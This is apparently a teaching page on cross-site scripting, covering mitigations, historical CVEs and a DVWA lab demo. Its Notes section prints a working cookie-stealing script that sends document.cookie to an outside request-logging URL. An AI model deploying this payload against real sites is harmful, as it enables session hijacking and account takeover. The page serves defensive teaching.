Cross-Site Scripting (XSS)

Description

Mitigations

Sanitization is your best option here. Converting HTML characters to their escaped form (e.g. < to <) is a bare minimum. Only allowing some input is a good idea, but sometimes you want certain characters to be allowed and escaping allows for that flexibility.
However! Knowing which characters to escape is very tricky. I strongly recommend using an external library, and not just rolling your own. Check out how complicated it is at OWASP’s XSS Cheat Sheet.

Historical Examples

A good discussion of XSS, including some fascinating historical exploits, is on the Ruby on Rails security page.
Be sure to test your XSS mitigations, as they can easily become ineffective, as what happened in Apache Tomcat in CVE-2009-0781. See their subtle fix.

Notes

Widely considered among the most dangerous vulnerabilities today. XSS vulnerabilities have affected GMail, Twitter, Facebook, Hotmail, Yahoo Mail, and just about every other major web application out there.
Note that XSS does not always have to be done inside <script> tags, it can be done in CSS injection, inside image metadata, and in many other situations.
Executing Javascript on another person’s machine can result in a vast number of exploits. In every case, the asset of cross-site scripting is the user interface. The two main exploits of XSS are:
web defacement, where you can modify the page to have an extra form asking for someone’s password, which gets sent off to a remote site. A user would not be able to tell that they just sent their password to a malicious site.
session hijacking: where you steal the authentication token from the victim’s cookie and use it to log in. For example:

  <script>
  x = new XMLHttpRequest();
  x.open("GET", "http://requestb.in/13x2ec31?s=" + document.cookie, true);
  x.send();
  </script>

The above snippet is a silent AJAX call to a remote site, which an attacker then monitors anonymously, stealing your authentication token. Having the authentication token gives the attacker the ability to log in as the victim (as long as they stay logged in). From there, the attacker can can reset passwords, set up other accounts, set up permanent scripts, anything.

Running the Demo

For this one you will need an installation of DVWA, which your instructor can provide for you.